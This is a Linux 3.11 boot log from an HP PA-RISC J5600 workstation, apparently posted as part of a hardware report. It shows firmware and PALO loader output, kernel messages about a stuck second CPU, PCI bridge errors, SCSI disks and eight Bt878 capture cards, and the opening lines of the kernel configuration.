  Console path:         GRAPHICS(7)                                                                                               
  Keyboard path:        USB                                                                                                       

CPU 0                                                                                                                             
NOTICE :  Processor self-tests have been disabled because FASTBOOT is                                                             
          enabled.  To enable self-tests, disable FASTBOOT with the FASTBOOT                                                      
          command in the CONFIGURATION menu and reboot the system.                                                                
NOTICE :  Memory has been initialized but not tested because FASTBOOT is                                                          
          enabled.  To test memory, disable FASTBOOT with the FASTBOOT                                                            
          command in the CONFIGURATION menu and reboot the system.                                                                

CPU 1                                                                                                                             
NOTICE :  Processor self-tests have been disabled because FASTBOOT is                                                             
          enabled.  To enable self-tests, disable FASTBOOT with the FASTBOOT                                                      
          command in the CONFIGURATION menu and reboot the system.                                                                


Processor is booting from first available device.                                                                                 

To discontinue, press any key within 10 seconds.                                                                                  

10 seconds expired.                                                                                                               
Proceeding...                                                                                                                     

Searching for device(s) with bootable media...                                                                                    
This may take several minutes.                                                                                                    

To discontinue search, press any key (termination may not be immediate).                                                          

Attempting to boot Primary Path...                                                                                                

BOOTABLE DEVICE FOUND:                                                                                                            
   Path Number        Device Path              Device Type and Utilities                                                          
   -----------        -----------------        -------------------------                                                          
   P0                 FWSCSI.3.0               IBM-SSG H01D073                                                                    
                                               IPL                                                                                

Booting...                                                                                                                        
Boot IO Dependent Code (IODC) revision 0                                                                                          


HARD Booted.                                                                                                                      
palo ipl 1.91 root@c3000 Sat Jul  6 22:19:28 CEST 2013                                                                            

Partition Start(MB) End(MB) Id Type                                                                                               
1               1      31   f0 Palo                                                                                               
2              32     313   83 ext2                                                                                               
3             314   67068   83 ext2                                                                                               
4           67069   69515   82 swap                                                                                               

PALO(F0) partition contains:                                                                                                      
    0/vmlinux32 7312226(0) bytes @ 0x48000                                                                                        

Information: No console specified on kernel command line. This is normal.                                                         
PALO will choose the console currently used by firmware (serial).                                                                 
Command line for kernel: 'root=/dev/sda3 panic=60 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux'                          
Selected kernel: /vmlinux from partition 2                                                                                        
Selected ramdisk: /initrd.img from partition 2                                                                                    
ELF64 executable                                                                                                                  
Entry 00100000 first 00100000 n 4                                                                                                 
Segment 0 load 00100000 size 7086080 mediaptr 0x1000                                                                              
Segment 1 load 007f7680 size 596536 mediaptr 0x6c3680                                                                             
Segment 2 load 0088c000 size 138848 mediaptr 0x756000                                                                             
Segment 3 load 008ae000 size 38912 mediaptr 0x778000                                                                              
Loading ramdisk 2150813 bytes @ 3fde1000...                                                                                       
Branching to kernel entry point 0x00100000.  If this is the last                                                                  
message you see, you may need to switch your console.  This is                                                                    
a common symptom -- search the FAQ and mailing list at parisc-linux.org                                                           

[    0.000000] Linux version 3.11.0 (cavok@ska) (gcc version 4.8.1 (GCC) ) #6 SMP Wed Sep 4 12:12:41 CEST 2013                    
[    0.000000] unwind_init: start = 0x406b0000, end = 0x406eb800, entries = 15232                                                 
[    0.000000] FP[0] enabled: Rev 1 Model 16                                                                                      
[    0.000000] The 64-bit Kernel has started...                                                                                   
[    0.000000] Default page size is 4KB.                                                                                          
[    0.000000] bootconsole [ttyB0] enabled                                                                                        
[    0.000000] Initialized PDC Console for debugging.                                                                             
[    0.000000] Determining PDC firmware type: System Map.                                                                         
[    0.000000] model 00005d10 00000491 00000000 00000002 77b406fc 100000f0 00000008 000000b2 000000b2                             
[    0.000000] vers  00000300                                                                                                     
[    0.000000] CPUID vers 17 rev 10 (0x0000022a)                                                                                  
[    0.000000] capabilities 0x3                                                                                                   
[    0.000000] model 9000/785/J5600                                                                                               
[    0.000000] Memory Ranges:                                                                                                     
[    0.000000]  0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 MB                                                 
[    0.000000]  1) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 MB                                                 
[    0.000000] Total Memory: 4096 MB                                                                                              
[    0.000000] LCD display at fffffff0f05d0008,fffffff0f05d0000 registered                                                        
[    0.000000] PERCPU: Embedded 10 pages/cpu @0000000044487000 s10240 r8192 d22528 u40960                                         
[    0.000000] SMP: bootstrap CPU ID is 0                                                                                         
[    0.000000] Built 2 zonelists in Zone order, mobility grouping on.  Total pages: 1034240                                       
[    0.000000] Kernel command line: root=/dev/sda3 panic=60 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux                 
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)                                                               
[    0.000000] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)                                                 
[    0.000000] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)                                                   
[    0.000000] Sorting __ex_table...                                                                                              
[    0.000000] Memory: 4114408K/4194304K available (4838K kernel code, 1045K rwdata, 984K rodata, 176K init, 265K bss, 79896K res)
[    0.000000] virtual kernel memory layout:                                                                                      
    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)                                                   
    0.000000]     memory  : 0x0000000040000000 - 0x0000001140000000   (69632 MB)                                                  
    0.000000]       .init : 0x000000004088c000 - 0x00000000408b8000   ( 176 kB)                                                   
    0.000000]       .data : 0x00000000405b9a18 - 0x00000000407b5120   (2029 kB)                                                   
    0.000000]       .text : 0x0000000040100000 - 0x00000000405b9a18   (4838 kB)                                                   
[    0.000000] Hierarchical RCU implementation.                                                                                   
[    0.000000]  CONFIG_RCU_FANOUT set to non-default value of 32                                                                  
[    0.000000] NR_IRQS:80                                                                                                         
[    0.000000] Console: colour dummy device 160x64                                                                                
[    0.060000] Calibrating delay loop... 1099.36 BogoMIPS (lpj=5496832)                                                           
[    0.170000] pid_max: default: 32768 minimum: 301                                                                               
[    0.230000] Mount-cache hash table entries: 256                                                                                
[    0.290000] Brought up 1 CPUs                                                                                                  
[    0.340000] NET: Registered protocol family 16                                                                                 
[    0.400000] Searching for devices...                                                                                           
[    0.710000] Found devices:                                                                                                     
[    0.740000] 1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }                                     
[    0.850000] 2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }                                       
[    0.960000] 3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }                                       
[    1.060000] 4. Elroy PCI Bridge at 0xfffffffffed34000 [10/2] { 13, 0x0, 0x782, 0x0000a }                                       
[    1.170000] 5. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }                                       
[    1.280000] 6. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }                                       
[    1.380000] 7. Forte W+ 2w at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5d1, 0x00004 }                                               
[    1.480000] 8. Forte W+ 2w at 0xfffffffffffa2000 [34] { 0, 0x0, 0x5d1, 0x00004 }                                               
[    1.580000] 9. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09e, 0x00009 }                                                    
[    1.790000] Releasing cpu 1 now, hpa=fffffffffffa2000                                                                          
[    2.860000] SMP: CPU:1 is stuck.                                                                                               
[    2.900000] CPU(s): 2 x PA8600 (PCX-W+) at 552.000000 MHz                                                                      
[    2.970000] Setting cache flush threshold to 100000 (1 CPUs online)                                                            
[    3.180000] SBA found Astro 2.1 at 0xfffffffffed00000                                                                          
[    3.250000] Elroy version TR2.1 (0x2) found at 0xfffffffffed30000                                                              
[    3.330000] LBA 10:0: PCI host bridge to bus 0000:00                                                                           
[    3.400000] pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]                                                             
[    3.480000] pci_bus 0000:00: root bus resource [mem 0xfffffffff4000000-0xfffffffff47fffff] (bus address [0xf4000000-0xf47fffff)
[    3.630000] pci_bus 0000:00: root bus resource [bus 00]                                                                        
[    3.700000] PCI: Enabled native mode for NS87415 (pif=0x8f)                                                                    
[    3.780000] Elroy version TR2.1 (0x2) found at 0xfffffffffed32000                                                              
[    3.860000] LBA 10:1: PCI host bridge to bus 0000:01                                                                           
[    3.930000] pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])                             
[    4.040000] pci_bus 0000:01: root bus resource [mem 0xfffffffff4800000-0xfffffffff4ffffff] (bus address [0xf4800000-0xf4ffffff)
[    4.200000] pci_bus 0000:01: root bus resource [bus 01]                                                                        
[    4.270000] Elroy version TR2.1 (0x2) found at 0xfffffffffed34000                                                              
[    4.350000] LBA 10:2: PCI host bridge to bus 0000:02                                                                           
[    4.420000] pci_bus 0000:02: root bus resource [io  0x24000-0x25fff] (bus address [0x4000-0x5fff])                             
[    4.540000] pci_bus 0000:02: root bus resource [mem 0xfffffffff5000000-0xfffffffff57fffff] (bus address [0xf5000000-0xf57fffff)
[    4.690000] pci_bus 0000:02: root bus resource [bus 02-04]                                                                     
[    4.770000] pci 0000:02:02.0: PCI bridge to [bus 03-ff]                                                                        
[    4.840000] pci 0000:02:02.0: address space collision: [io  0x0000-0x0fff] conflicts with PCI02 Ports [io  0x24000-0x25fff]    
[    4.990000] pci 0000:02:02.0: no compatible bridge window for [mem 0xf0100000-0xf01fffff pref]                                 
[    5.100000] pci 0000:02:02.0: no compatible bridge window for [??? 0x00000000 flags 0x0]                                       
[    5.220000] pci 0000:02:03.0: PCI bridge to [bus 04-ff]                                                                        
[    5.290000] pci 0000:02:03.0: address space collision: [io  0x0000-0x0fff] conflicts with PCI02 Ports [io  0x24000-0x25fff]    
[    5.430000] pci 0000:02:03.0: no compatible bridge window for [mem 0xf0100000-0xf01fffff pref]                                 
[    5.550000] pci 0000:02:03.0: no compatible bridge window for [??? 0x00000000 flags 0x0]                                       
[    5.650000] pci 0000:02:02.0: device not available (can't reserve [io  0x0000-0x0fff])                                         
[    5.760000] pci 0000:02:02.0: Error enabling bridge (-22), continuing                                                          
[    5.840000] pci 0000:02:03.0: device not available (can't reserve [io  0x0000-0x0fff])                                         
[    5.950000] pci 0000:02:03.0: Error enabling bridge (-22), continuing                                                          
[    6.030000] Elroy version TR2.1 (0x2) found at 0xfffffffffed38000                                                              
[    6.110000] LBA 10:4: PCI host bridge to bus 0000:05                                                                           
[    6.180000] pci_bus 0000:05: root bus resource [io  0x38000-0x39fff] (bus address [0x8000-0x9fff])                             
[    6.300000] pci_bus 0000:05: root bus resource [mem 0xfffffffff6000000-0xfffffffff67fffff] (bus address [0xf6000000-0xf67fffff)
[    6.450000] pci_bus 0000:05: root bus resource [bus 05]                                                                        
[    6.520000] Elroy version TR2.1 (0x2) found at 0xfffffffffed3c000                                                              
[    6.600000] LBA 10:6: PCI host bridge to bus 0000:06                                                                           
[    6.660000] pci_bus 0000:06: root bus resource [io  0x4c000-0x4dfff] (bus address [0xc000-0xdfff])                             
[    6.780000] pci_bus 0000:06: root bus resource [mem 0xfffffffffa000000-0xfffffffffbffffff] (bus address [0xfa000000-0xfbffffff)
[    6.930000] pci_bus 0000:06: root bus resource [mem 0xfffffffff7000000-0xfffffffff77fffff] (bus address [0xf7000000-0xf77fffff)
[    7.090000] pci_bus 0000:06: root bus resource [bus 06]                                                                        
[    7.160000] iosapic: hpa not registered for 0000:06:07.0                                                                       
[    7.240000] powersw: Soft power switch at 0xfffffff0f0400804 enabled.                                                          
[    7.340000] bio: create slab <bio-0> at 0                                                                                      
[    7.400000] vgaarb: loaded                                                                                                     
[    7.430000] SCSI subsystem initialized                                                                                         
[    7.480000] usbcore: registered new interface driver usbfs                                                                     
[    7.560000] usbcore: registered new interface driver hub                                                                       
[    7.630000] usbcore: registered new device driver usb                                                                          
[    7.690000] Linux video capture interface: v2.00                                                                               
[    7.750000] Advanced Linux Sound Architecture Driver Initialized.                                                              
[    7.840000] Switched to clocksource cr16                                                                                       
[    7.900000] NET: Registered protocol family 2                                                                                  
[    7.960000] TCP established hash table entries: 32768 (order: 7, 524288 bytes)                                                 
[    8.060000] TCP bind hash table entries: 32768 (order: 7, 524288 bytes)                                                        
[    8.150000] TCP: Hash tables configured (established 32768 bind 32768)                                                         
[    8.230000] TCP: reno registered                                                                                               
[    8.280000] UDP hash table entries: 2048 (order: 4, 65536 bytes)                                                               
[    8.360000] UDP-Lite hash table entries: 2048 (order: 4, 65536 bytes)                                                          
[    8.440000] NET: Registered protocol family 1                                                                                  
[    8.500000] SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 20)                                                  
[    8.590000] SuperIO: Serial port 1 at 0x3f8                                                                                    
[    8.650000] SuperIO: Serial port 2 at 0x2f8                                                                                    
[    8.700000] SuperIO: Parallel port at 0x378                                                                                    
[    8.760000] SuperIO: Floppy controller at 0x3f0                                                                                
[    8.820000] SuperIO: ACPI at 0x7e0                                                                                             
[    8.860000] SuperIO: USB regulator enabled                                                                                     
[    8.980000] pci 0000:01:05.0: enabling SERR and PARITY (0017 -> 0157)                                                          
[    9.060000] pci 0000:01:05.1: enabling SERR and PARITY (0017 -> 0157)                                                          
[    9.140000] pci 0000:01:05.2: enabling SERR and PARITY (0017 -> 0157)                                                          
[    9.230000] Enabling PDC chassis warnings support v0.05                                                                        
[    9.300000] Performance monitoring counters enabled for Forte W+ 2w                                                            
[    9.390000] msgmni has been set to 8035                                                                                        
[    9.440000] alg: No test for stdrng (krng)                                                                                     
[    9.490000] io scheduler noop registered                                                                                       
[    9.540000] io scheduler deadline registered (default)                                                                         
[    9.620000] PDC Stable Storage facility v0.30                                                                                  
[    9.980000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled                                                            
[   10.070000] serial8250: ttyS0 at I/O 0x3f8 (irq = 3) is a 16550A                                                               
[   10.150000] console [ttyS0] enabled, bootconsole disabled                                                                      
[   10.150000] console [ttyS0] enabled, bootconsole disabled                                                                      
[   10.280000] serial8250: ttyS1 at I/O 0x2f8 (irq = 4) is a 16550A                                                               
[   10.370000] brd: module loaded                                                                                                 
[   10.400000] loop: module loaded                                                                                                
[   10.640000] sym0: <896> rev 0x4 at pci 0000:00:0f.0 irq 21                                                                     
[   10.700000] sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking                                                         
[   10.780000] sym0: SCSI BUS has been reset.                                                                                     
[   10.840000] sym0: SCSI BUS mode change from SE to SE.                                                                          
[   10.840000] sym0: SCSI BUS has been reset.                                                                                     
[   10.950000] scsi0 : sym-2.2.3                                                                                                  
[   16.540000] sym1: <896> rev 0x4 at pci 0000:00:0f.1 irq 21                                                                     
[   16.610000] sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking                                                        
[   16.690000] sym1: SCSI BUS has been reset.                                                                                     
[   16.750000] scsi1 : sym-2.2.3                                                                                                  
[   20.570000] scsi target1:0:3: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)                                                
[   20.670000] scsi 1:0:3:0: Direct-Access     IBM-SSG  H01D073          RSQH PQ: 0 ANSI: 3                                       
[   20.760000] scsi target1:0:3: tagged command queuing enabled, command queue depth 16.                                          
[   20.860000] scsi target1:0:3: Beginning Domain Validation                                                                      
[   20.980000] scsi target1:0:3: Domain Validation skipping write tests                                                           
[   21.050000] scsi target1:0:3: Ending Domain Validation                                                                         
[   21.120000] scsi target1:0:4: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)                                                
[   21.220000] scsi 1:0:4:0: Direct-Access     IBM-SSG  H01D073          RSQK PQ: 0 ANSI: 3                                       
[   21.310000] scsi target1:0:4: tagged command queuing enabled, command queue depth 16.                                          
[   21.410000] scsi target1:0:4: Beginning Domain Validation                                                                      
[   21.520000] scsi target1:0:4: Domain Validation skipping write tests                                                           
[   21.600000] scsi target1:0:4: Ending Domain Validation                                                                         
[   21.660000] scsi 1:0:5:0: Direct-Access     QUANTUM  ATLAS10K-18LVD   HP06 PQ: 0 ANSI: 3                                       
[   21.760000] scsi target1:0:5: tagged command queuing enabled, command queue depth 16.                                          
[   21.860000] scsi target1:0:5: Beginning Domain Validation                                                                      
[   21.920000] scsi target1:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)                                                
[   22.010000] scsi target1:0:5: Domain Validation skipping write tests                                                           
[   22.090000] scsi target1:0:5: Ending Domain Validation                                                                         
[   22.160000] scsi 1:0:6:0: Direct-Access     FUJITSU  MAJ3182MC        HP12 PQ: 0 ANSI: 2                                       
[   22.250000] scsi target1:0:6: tagged command queuing enabled, command queue depth 16.                                          
[   22.350000] scsi target1:0:6: Beginning Domain Validation                                                                      
[   22.420000] scsi target1:0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)                                                
[   22.510000] scsi target1:0:6: Domain Validation skipping write tests                                                           
[   22.580000] scsi target1:0:6: Ending Domain Validation                                                                         
[   24.990000] sd 1:0:5:0: [sdc] 35566480 512-byte logical blocks: (18.2 GB/16.9 GiB)                                             
[   25.080000] sd 1:0:3:0: Attached scsi generic sg0 type 0                                                                       
[   25.150000] sd 1:0:4:0: Attached scsi generic sg1 type 0                                                                       
[   25.210000] sd 1:0:5:0: Attached scsi generic sg2 type 0                                                                       
[   25.280000] sd 1:0:6:0: Attached scsi generic sg3 type 0                                                                       
[   25.340000] tun: Universal TUN/TAP device driver, 1.6                                                                          
[   25.400000] tun: (C) 1999-2004 Max Krasnyansky <maxk@qualcomm.com>                                                             
[   25.470000] 3c59x: Donald Becker and others.                                                                                   
[   25.530000] 0000:01:08.0: 3Com PCI 3c905C Tornado at 0000000000044000.                                                         
[   25.630000] sd 1:0:5:0: [sdc] Write Protect is off                                                                             
[   25.690000] sd 1:0:4:0: [sdb] 142368624 512-byte logical blocks: (72.8 GB/67.8 GiB)                                            
[   25.780000] sd 1:0:3:0: [sda] 142368624 512-byte logical blocks: (72.8 GB/67.8 GiB)                                            
[   25.870000] sd 1:0:6:0: [sdd] 35566480 512-byte logical blocks: (18.2 GB/16.9 GiB)                                             
[   25.960000] Linux Tulip driver version 1.1.15 (Feb 27, 2007)                                                                   
[   26.040000] tulip0: no phy info, aborting mtable build                                                                         
[   26.100000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1                                               
[   26.210000] net eth1: Digital DS21142/43 Tulip rev 65 at Port 0x1000, 00:10:83:cf:27:e7, IRQ 18                                
[   26.310000] sd 1:0:5:0: [sdc] Write cache: disabled, read cache: enabled, supports DPO and FUA                                 
[   26.410000] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver                                                         
[   26.490000] ehci-pci: EHCI PCI platform driver                                                                                 
[   26.550000] ehci-pci 0000:01:05.2: enabling SERR and PARITY (0013 -> 0153)                                                     
[   26.630000] ehci-pci 0000:01:05.2: EHCI Host Controller                                                                        
[   26.690000] ehci-pci 0000:01:05.2: new USB bus registered, assigned bus number 1                                               
[   26.780000] ehci-pci 0000:01:05.2: irq 24, io mem 0xfffffffff4801000                                                           
[   26.860000] sd 1:0:4:0: [sdb] Write Protect is off                                                                             
[   26.910000] sd 1:0:3:0: [sda] Write Protect is off                                                                             
[   26.970000] sd 1:0:6:0: [sdd] Write Protect is off                                                                             
[   27.030000] ehci-pci 0000:01:05.2: USB 2.0 started, EHCI 0.95                                                                  
[   27.100000] sd 1:0:4:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA                                 
[   27.200000] sd 1:0:3:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA                                 
[   27.300000] sd 1:0:6:0: [sdd] Write cache: disabled, read cache: enabled, supports DPO and FUA                                 
[   27.410000] hub 1-0:1.0: USB hub found                                                                                         
[   27.450000] hub 1-0:1.0: 4 ports detected                                                                                      
[   27.500000] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver                                                             
[   27.580000] ohci-pci: OHCI PCI platform driver                                                                                 
[   27.630000] ohci-pci 0000:00:0e.2: OHCI PCI host controller                                                                    
[   27.700000] ohci-pci 0000:00:0e.2: new USB bus registered, assigned bus number 2                                               
[   27.790000] ohci-pci 0000:00:0e.2: irq 1, io mem 0xfffffffff4007000                                                            
[   27.920000] hub 2-0:1.0: USB hub found                                                                                         
[   27.960000] hub 2-0:1.0: 3 ports detected                                                                                      
[   28.010000] uhci_hcd: USB Universal Host Controller Interface driver                                                           
[   28.090000] uhci_hcd 0000:01:05.0: enabling SERR and PARITY (0013 -> 0153)                                                     
[   28.170000] uhci_hcd 0000:01:05.0: UHCI Host Controller                                                                        
[   28.230000] uhci_hcd 0000:01:05.0: new USB bus registered, assigned bus number 3                                               
[   28.320000] uhci_hcd 0000:01:05.0: irq 22, io base 0x00012200                                                                  
[   28.390000] hub 3-0:1.0: USB hub found                                                                                         
[   28.440000] hub 3-0:1.0: 2 ports detected                                                                                      
[   28.500000] uhci_hcd 0000:01:05.1: Refused to change power state, currently in D3                                              
[   28.580000] uhci_hcd 0000:01:05.1: enabling SERR and PARITY (0013 -> 0153)                                                     
[   28.670000] uhci_hcd 0000:01:05.1: UHCI Host Controller                                                                        
[   28.730000] uhci_hcd 0000:01:05.1: new USB bus registered, assigned bus number 4                                               
[   28.820000] uhci_hcd 0000:01:05.1: irq 23, io base 0x00012100                                                                  
[   28.890000]  sdc: sdc1 sdc2 sdc3 sdc4                                                                                          
[   28.940000] hub 4-0:1.0: USB hub found                                                                                         
[   28.980000] hub 4-0:1.0: 2 ports detected                                                                                      
[   29.030000]  sdb: sdb1 sdb2 sdb3 sdb4                                                                                          
[   29.080000] usbcore: registered new interface driver usb-storage                                                               
[   29.150000] mousedev: PS/2 mouse device common for all mice                                                                    
[   29.220000] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0                                                  
[   29.680000] TCP: cubic registered                                                                                              
[   29.720000] NET: Registered protocol family 17                                                                                 
[   29.780000] sd 1:0:5:0: [sdc] Attached SCSI disk                                                                               
[   29.830000]  sda: sda1 sda2 sda3 sda4                                                                                          
[   29.880000]  sdd: sdd1 sdd2 sdd3 < sdd5 sdd6 >                                                                                 
[   29.940000] rtc-generic rtc-generic: setting system clock to 2013-09-04 13:51:21 UTC (1378302681)                              
[   30.040000] ALSA device list:                                                                                                  
[   30.080000]   #0: Analog Devices AD1889 at 0xfffffffff400c000 irq 19                                                           
[   30.270000] sd 1:0:4:0: [sdb] Attached SCSI disk                                                                               
[   30.340000] sd 1:0:6:0: [sdd] Attached SCSI disk                                                                               
[   30.510000] sd 1:0:3:0: [sda] Attached SCSI disk                                                                               
[   30.580000] REISERFS (device sda3): found reiserfs format "3.6" with standard journal                                          
[   30.670000] REISERFS (device sda3): using ordered data mode                                                                    
[   30.740000] reiserfs: using flush barriers                                                                                     
[   30.790000] REISERFS (device sda3): journal params: device sda3, size 8192, journal first block 18, max trans len 1024, max ba0
[   30.980000] REISERFS (device sda3): checking transaction log (sda3)                                                            
[   31.090000] REISERFS (device sda3): Using r5 hash to sort names                                                                
[   31.160000] VFS: Mounted root (reiserfs filesystem) readonly on device 8:3.                                                    
[   31.250000] Freeing unused kernel memory: 176K (000000004088c000 - 00000000408b8000)                                           
Mount failed for selinuxfs on /sys/fs/selinux:  No such file or directory                                                         
INIT: version 2.88 booting                                                                                                        
Using makefile-style concurrent boot in runlevel S.                                                                               
Starting the hotplug events dispatcher: udevd.                                                                                    
Synthesizing the initial hotplug events...done.                                                                                   
Waiting for /dev to be fully populated...[   35.260000] bttv: driver version 0.9.19 loaded                                        
[   35.310000] bttv: using 8 buffers with 2080k (520 pages) each for capture                                                      
[   35.400000] bttv: Bt8xx card found (0)                                                                                         
[   35.440000] bttv: 0: Bt878 (rev 17) at 0000:03:08.0, irq: 26, latency: 255, mmio: 0xfffffffff5007000                           
[   35.630000] bttv: 0: detected: Provideo PV150B-1 [card=98], PCI subsystem ID is aa04:1464                                      
[   35.730000] bttv: 0: using: ProVideo PV150 [card=98,autodetected]                                                              
[   35.800000] bttv: 0: tuner absent                                                                                              
[   35.840000] bttv: 0: Setting PLL: 28636363 => 35468950 (needs up to 100ms)                                                     
[   37.550000] bttv: PLL set ok                                                                                                   
[   37.580000] bttv: 0: registered device video0                                                                                  
[   37.630000] bttv: 0: registered device vbi0                                                                                    
[   37.760000] bttv: Bt8xx card found (1)                                                                                         
[   37.810000] bttv: 1: Bt878 (rev 17) at 0000:03:09.0, irq: 27, latency: 255, mmio: 0xfffffffff5005000                           
[   37.920000] bttv: 1: detected: Provideo PV150B-2 [card=98], PCI subsystem ID is aa05:1465                                      
[   38.020000] bttv: 1: using: ProVideo PV150 [card=98,autodetected]                                                              
[   38.090000] bttv: 1: tuner absent                                                                                              
[   38.130000] bttv: 1: Setting PLL: 28636363 => 35468950 (needs up to 100ms)                                                     
[   38.290000] bttv: PLL set ok                                                                                                   
[   38.320000] bttv: 1: registered device video1                                                                                  
[   38.370000] bttv: 1: registered device vbi1                                                                                    
[   38.470000] bttv: Bt8xx card found (2)                                                                                         
[   38.520000] bttv: 2: Bt878 (rev 17) at 0000:03:0a.0, irq: 28, latency: 255, mmio: 0xfffffffff5003000                           
[   38.630000] bttv: 2: detected: Provideo PV150B-3 [card=98], PCI subsystem ID is aa06:1466                                      
[   38.730000] bttv: 2: using: ProVideo PV150 [card=98,autodetected]                                                              
[   38.800000] bttv: 2: tuner absent                                                                                              
[   38.840000] bttv: 2: Setting PLL: 28636363 => 35468950 (needs up to 100ms)                                                     
[   38.960000] bttv: PLL set ok                                                                                                   
[   38.990000] bttv: 2: registered device video2                                                                                  
[   39.040000] bttv: 2: registered device vbi2                                                                                    
[   39.110000] bttv: Bt8xx card found (3)                                                                                         
[   39.160000] bttv: 3: Bt878 (rev 17) at 0000:03:0b.0, irq: 29, latency: 255, mmio: 0xfffffffff5001000                           
[   39.270000] bttv: 3: detected: Provideo PV150B-4 [card=98], PCI subsystem ID is aa07:1467                                      
[   39.360000] bttv: 3: using: ProVideo PV150 [card=98,autodetected]                                                              
[   39.440000] bttv: 3: tuner absent                                                                                              
[   39.480000] bttv: 3: Setting PLL: 28636363 => 35468950 (needs up to 100ms)                                                     
[   39.600000] bttv: PLL set ok                                                                                                   
[   39.630000] bttv: 3: registered device video3                                                                                  
[   39.680000] bttv: 3: registered device vbi3                                                                                    
[   39.740000] bttv: Bt8xx card found (4)                                                                                         
[   39.790000] bttv: 4: Bt878 (rev 17) at 0000:04:08.0, irq: 30, latency: 255, mmio: 0xfffffffff5107000                           
[   39.900000] bttv: 4: detected: Provideo PV150A-1 [card=98], PCI subsystem ID is aa00:1460                                      
[   40.000000] bttv: 4: using: ProVideo PV150 [card=98,autodetected]                                                              
[   40.070000] bttv: 4: tuner absent                                                                                              
[   40.110000] bttv: 4: Setting PLL: 28636363 => 35468950 (needs up to 100ms)                                                     
[   40.240000] bttv: PLL set ok                                                                                                   
[   40.270000] bttv: 4: registered device video4                                                                                  
[   40.320000] bttv: 4: registered device vbi4                                                                                    
[   40.380000] bttv: Bt8xx card found (5)                                                                                         
[   40.420000] bttv: 5: Bt878 (rev 17) at 0000:04:09.0, irq: 31, latency: 255, mmio: 0xfffffffff5105000                           
[   40.530000] bttv: 5: detected: Provideo PV150A-2 [card=98], PCI subsystem ID is aa01:1461                                      
[   40.630000] bttv: 5: using: ProVideo PV150 [card=98,autodetected]                                                              
[   40.700000] bttv: 5: tuner absent                                                                                              
[   40.740000] bttv: 5: Setting PLL: 28636363 => 35468950 (needs up to 100ms)                                                     
[   40.870000] bttv: PLL set ok                                                                                                   
[   40.900000] bttv: 5: registered device video5                                                                                  
[   40.950000] bttv: 5: registered device vbi5                                                                                    
[   41.010000] bttv: Bt8xx card found (6)                                                                                         
[   41.050000] bttv: 6: Bt878 (rev 17) at 0000:04:0a.0, irq: 32, latency: 255, mmio: 0xfffffffff5103000                           
[   41.160000] bttv: 6: detected: Provideo PV150A-3 [card=98], PCI subsystem ID is aa02:1462                                      
[   41.260000] bttv: 6: using: ProVideo PV150 [card=98,autodetected]                                                              
[   41.330000] bttv: 6: tuner absent                                                                                              
[   41.370000] bttv: 6: Setting PLL: 28636363 => 35468950 (needs up to 100ms)                                                     
[   41.500000] bttv: PLL set ok                                                                                                   
[   41.530000] bttv: 6: registered device video6                                                                                  
[   41.580000] bttv: 6: registered device vbi6                                                                                    
[   41.640000] bttv: Bt8xx card found (7)                                                                                         
[   41.680000] bttv: 7: Bt878 (rev 17) at 0000:04:0b.0, irq: 29, latency: 255, mmio: 0xfffffffff5101000                           
[   41.790000] bttv: 7: subsystem: 2201:1061 (UNKNOWN)                                                                            
[   41.850000] bttv: 7: using:  *** UNKNOWN/GENERIC ***  [card=0,autodetected]                                                    
[   41.970000] bttv: 7: tuner type unset
[   42.020000] bttv: 7: registered device video7
[   42.070000] bttv: 7: registered device vbi7
[   42.140000] IR keymap rc-hauppauge not found
[   42.200000] Registered IR keymap rc-empty
[   42.240000] input: i2c IR (Hauppauge) as /devices/virtual/rc/rc0/input0
[   42.320000] rc0: i2c IR (Hauppauge) as /devices/virtual/rc/rc0
[   42.390000] ir-kbd-i2c: i2c IR (Hauppauge) detected at i2c-7/7-0018/ir0 [bt878 #7 [sw]]

and here is the full config:

#
# Automatically generated file; DO NOT EDIT.
# Linux/parisc 3.11.0 Kernel Configuration
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_TIME_LOW_RES=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_IRQ_WORK=y

#
# General setup
#
